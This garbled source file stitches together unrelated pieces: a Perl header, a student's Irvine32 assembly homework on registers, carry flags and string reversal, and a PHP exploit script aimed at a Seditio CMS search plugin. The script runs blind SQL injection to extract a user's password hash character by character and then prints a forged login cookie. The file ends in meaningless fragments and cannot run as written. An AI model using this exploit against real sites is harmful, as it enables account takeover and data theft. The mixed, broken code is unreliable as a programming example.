#! usr/bin/perl
use IO::Socket;
use lib "Perl/lib/asm";

INCLUDE Irvine32.inc

.data
val1 SDWORD 8
val2 SDWORD -15
val3 SDWORD 20
source   byte "This is the source string",0
target   byte  SIZEOF source DUP(0)
nameSize = ($ - source) - 1
msgIntro byte "This is My Name's second assembly program and I will",0dh,0ah
         byte "demonstrate how to dump the registers using questions 1",0dh,0ah
         byte "on page 96, question 1 on page 133, and question 7 and 8",0dh,0ah
         byte "on page 134.",0dh,0ah
         byte 0dh,0ah,0
msg1     byte "------------------------------------",0dh,0ah
         byte "Demonstrating question 1 on page 96.",0dh,0ah
         byte "------------------------------------",0dh,0ah,0
msg2     byte "-------------------------------------",0dh,0ah
         byte "Demonstrating question 1 on page 133.",0dh,0ah
         byte "-------------------------------------",0dh,0ah,0
msgAdd   byte "Adding 0FFh and 1h in register al to set carry flag",0dh,0ah,0
msgSub   byte "Subtracting 3h from 2h in register ax to set carry flag",0dh,0ah,0
msg3     byte "-------------------------------------",0dh,0ah
         byte "Demonstrating question 7 on page 134.",0dh,0ah
         byte "-------------------------------------",0dh,0ah,0
msgExpr  byte "Solving expression EAX = -val2 + 7 - val3 + val1",0dh,0ah,0
msg4     byte "-------------------------------------",0dh,0ah
         byte "Demonstrating question 8 on page 134.",0dh,0ah
         byte "-------------------------------------",0dh,0ah,0
normOrd  byte "Normal order:",0dh,0ah,0
revOrd   byte "Reverse order:",0dh,0ah,0

.code
main PROC
;///////Intro Message/////////////////////////////////
   mov edx,OFFSET msgIntro ;intro message into edx
        call WriteString        ;display msgIntro

;///////Question 1 on page 96/////////////////////////
        mov edx,OFFSET msg1     ;message 1 into edx
        call WriteString        ;display msg1
   mov eax, 1000h      ;1000h
   mov ebx, 4000h      ;4000h
   mov ecx, 2000h      ;2000h
   sub ebx, eax            ;4000h-1000h = 3000h
   sub ebx, ecx            ;3000h-2000h = 1000h
   call DumpRegs      ;display the registers
   call WaitMsg            ;use call WaitMsg from page 146 to pause

;///////Question 1 on page 133/////////////////////////
        mov edx,OFFSET msg2     ;message 2 into edx
        call WriteString        ;display msg2

        ;Add to get carry flag
        mov edx,OFFSET msgAdd   ;message Add into edx
        call WriteString        ;display msgAdd
        mov al,0FFh
        add al,1h               ;al=100h CF=1 Because result of add is 100 so only 00
                                ;can go in the al register so the 1 is carried over
        call DumpRegs           ;display registers

        ;//Subtract to get carry flag
        mov edx,OFFSET msgSub   ;message Sub into edx
        call WriteString        ;display msgSub
        mov ax,2h
        sub ax,3h                ;ax=FFFFh CF=1 Because larger int - from smaller int
        call DumpRegs           ;display the registers
        call WaitMsg            ;use call WaitMsg from page 146 to pause

;///////Question 7 on page 134/////////////////////////
   mov edx,OFFSET msg3     ;message 3 into edx
   call WriteString        ;display msg3
   mov edx,OFFSET msgExpr  ;message Expr into edx
        call WriteString        ;display msgExpr
        mov eax,val2            ;mov val2 FFFFFFF1h in eax
        neg eax                 ;change sign of val2 in eax 0Fh
        add eax,7               ;add seven to eax 016h
        sub eax,val3            ;subtract val3 from eax 02h
        add eax,val1            ;add val1 to eax 0Ah
        call DumpRegs           ;display the registers
        call WaitMsg            ;use call WaitMsg from page 146 to pause

;///////Question 8 on page 134/////////////////////////
   mov edx,OFFSET msg4     ;message 4 into edx
   call WriteString        ;display msg4

   ;//Using part of (CopyStr.asm) Pg.130-131 for reference
   mov esi,0               ;index register
        mov ecx,SIZEOF source   ;loop counter

   L1: ;//Loop
        mov al,source[esi]      ;get a character from source
        mov target[esi],al      ;store it in the target
        inc esi                 ;move to next character
        loop L1                 ;repeat for entire string

        ;//Print in normal order
        mov edx,OFFSET normOrd  ;message normOrd into edx
   call WriteString        ;display normOrd
   mov esi,OFFSET target   ;offset of variable
   mov ebx,1               ;byte format
   mov ecx,SIZEOF target-1 ;counter
   call DumpMem            ;display the block of memory in hex
        call WaitMsg            ;use call WaitMsg from page 146 to pause

        ;//Using part of (RevString.asm) Pg.157-158 for reference
        ;//Print in reverse order
        mov edx,OFFSET revOrd   ;message revOrd into edx
   call WriteString        ;display revOrd
        mov ecx,nameSize        ;push source on the stack
        mov esi,0

        L2: ;//Loop
        movzx eax,source[esi]   ;get character from source[esi] put in eax
   push eax                ;push on stack
   inc esi
   loop L2

        ;//Pop name in reverse and store in array
   mov ecx,nameSize
   mov esi,0

   L3: ;//Loop
   pop eax                 ;get characters form eax
   mov source[esi],al      ;store in string
   inc esi
   loop L3

   mov esi,OFFSET source   ;offset of variable
   mov ebx,1               ;byte format
   mov ecx,SIZEOF source-1 ;counter
   call DumpMem            ;display the block of memory in hex

        call, $PERL INLINE ASSEMBLY

%LOOP PILS


if ($argc<2) {
echo "USAGE:\n";
echo "~~~~~~\n";
echo "php {$argv[0]} [url] OPTIONS\n\n";
echo "[url]        - \n\n";
echo "OPTIONS:\n";
echo "-p=<prefix>  -  (default sed_)\n";
echo "-id=<id>     -  (default 1)\n\n";
echo "examples:\n";
echo "php {$argv[0]} http://site.com/ -p=vb3_\n";
echo "php {$argv[0]} http://xxx:8080/ -id=2\n";
die;
}

error_reporting(0);
set_time_limit(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",10);
$url = $argv[1];
for($i=2;$i<$argc;$i++) {
   if(strpos($argv[$i],"=")!==false) {
       $exploded=explode("=",$argv[$i]);
       if ($exploded[0]=='-p') $prefix = $exploded[1];
       if ($exploded[0]=='-id') $id = $exploded[1];
   }
}
if (!isset($prefix)) $prefix = "sed_";
if (!isset($id)) $id = 1;
$url_parts = parse_url($url);
$host = $url_parts['host'];
if (isset($url_parts['port'])) $port = $url_parts['port']; else $port = 80;
$path = $url_parts['path'];
print("[~] Connecting... ");
if (!getchar("<1",$i,false)) print("OK\n");
else die("\n[-] Exploit failed\n");
print("    Getting hash...");
$hash='';
for ($i=1; $i<=32; $i++) {
   if (!getchar(">57",$i)) {
       $min = 48;
       $max = 57;           }
   else {
       $min = 97;
       $max = 102;           }
   for($j=$min;$j<=$max;$j++) {
       if (getchar("+LIKE+$j",$i)) {
           $hash .= chr($j);
           break;
       }
   }
}
print("[+] Done! hash - $hash\n");
print("[+] Cookie to log in: \nSEDITIO=".base64_encode($id.":_:".$hash.":_:ice")."\n");

function getchar($query,$pos,$status=true){
   global $host,$path,$prefix,$id;
   if ($status) status();
   $data = "sq=InATeam&frm_sub%5B%5D=9999&sea_frmtitle=1&sea_frmtext=1&sea_pagtitle=1";
   $data.= "&sea_pagdesc=1&sea_pagtext=1&searchin_pag=1&pag_sub%5B%5D=qwerty')";
   $data.= "+AND+1=IF(ORD(MID((SELECT+user_password+FROM+{$prefix}users+WHERE";
   $data.= "+user_id={$id}),{$pos},1)){$query},1,(SELECT+1+UNION+SELECT+5))/*&x=GUEST";
      $packet  = "POST {$path}plug.php?e=search&a=search HTTP/1.1\r\n";
   $packet .= "Host: {$host}\r\n";
   $packet .= "Referer: http://{$host}{$path}plug.php?e=search&a=search\r\n";
   $packet .= "User-Agent: InAttack User Agent\r\n";
   $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
   $packet .= "Content-Length: ".strlen($data)."\r\n";
   $packet .= "Connection: Close\r\n\r\n";
   $packet .= $data;
   return (strpos(send($packet),'Subquery returns more than 1 row')===false) ? true : false;
}

$PRINT$ </.\>

success

(else)

INTRO ASM (*CALL mov eax+32[esi]10


FAILED

RESTART?

input(Y/N) ?